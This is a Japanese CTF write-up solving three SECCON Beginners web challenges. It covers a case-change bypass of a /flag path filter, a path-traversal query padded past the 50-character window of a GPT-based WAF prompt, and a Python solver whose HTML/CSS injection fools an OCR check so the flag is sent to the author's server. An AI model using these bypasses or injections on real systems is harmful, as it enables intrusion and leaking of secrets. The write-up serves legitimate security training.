こんにちは,がーとです.久しぶり(去年のこの大会ぶり?)に CTF に参加しました.

result

自分が解けた Web の3問の Writeup を書きます.

Forbidden

  • author: Tsubasa
  • begginer
  • 431 Solved

You don’t have permission to access /flag on this server.

https://forbidden.beginners.seccon.games

Forbidden.tar.gz 018c1361937a789b327181c9a46ec574906c360c

app/index.js を見ると

if (req.path.includes('/flag')) {
    return res.send(403, 'Forbidden :(');
}

とあるので /flag と全く同じ文字列を含まず /flag と等価なパスにアクセスすれば良い.

ということで /FLAG とアクセスするとフラグゲット. (頭が堅いのでこの問題一番時間かかりました)

aiwaf

  • author: Satoki
  • easy
  • 256 Solved

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

https://aiwaf.beginners.seccon.games

aiwaf.tar.gz 2ce11f780bbdae5509bd80f9b3ef9d7545951f9f

app/app.py を見ると

    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

とあるが,GPT に渡すプロンプトはクエリ文字列の先頭 50 文字しか見ていないので,先頭 50 文字をパストラバーサル攻撃っぽくないようにパストラバーサル攻撃をすればよい. (先頭 50 文字に無意味なクエリパラメータを追加する)

すなわち,https://aiwaf.beginners.seccon.games/?username=testuser&password=V3ryStr0ngPassw0rd&file=../flag にアクセスするとフラグゲット.

phisher2

  • author: xryuseix
  • medium
  • 118 Solved

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

https://phisher2.beginners.seccon.games

phisher2.tar.gz 30ecedac5abd7d27ea3e4ae75c4237c949ba842c

個人的に一番楽しかった問題です.

/ に POST された時サーバが行っている処理は以下の通りです.

  1. JSON の text フィールドに入ってる文字列を変数 text に入れる.
  2. さっきの text'<p style="font-size:30px">{text}</p>' に入れて HTML として保存する.
  3. さっきの HTML ファイルを selenium で開き,OCR で文字列を読み取る.
  4. OCR で読み取った文字列に含まれる URL が安全な URL(https://phisher2.beginners.seccon.games から始まる)でなければ,エラーを返す.
  5. OCR で読み取った文字列が安全な URL だったら,最初 JSON の text フィールドに入れた文字列の中に含まれる URL に ?={FLAG} を付けて GET リクエストを送る.

つまり text の条件は

  • 最後に ?={FLAG} を付けても自分でアクセスログが見られる意味の通る URL
  • '<p style="font-size:30px">{text}</p>' にインジェクションして HTML でレンダリングした時見た目上は安全な URL に見える文字列

です.

これを踏まえた私の Solver です.

import requests

url = "https://phisher2.beginners.seccon.games/"
text = """https://gaato.net</p><style type="text/css">p{display:none;}</style><h1>https://phisher2.beginners.seccon.games/foobar</h1><p>"""
data = {"text": text}
res = requests.post(url, json=data)
print(res.text)

インジェクションの説明は省きますが,HTML でレンダリングした時 https://phisher2.beginners.seccon.games/foobar に見えるが,実際のインプットから取得される URL は https://gaato.net なので,https://gaato.net?={FLAG} にアクセスされ,アクセスログを見ればフラグゲット.

私は gaato.net を admin に share したかったので自分のサーバを使いましたが自分のサーバを持っていない場合は Request Inspector などを使うと良いです.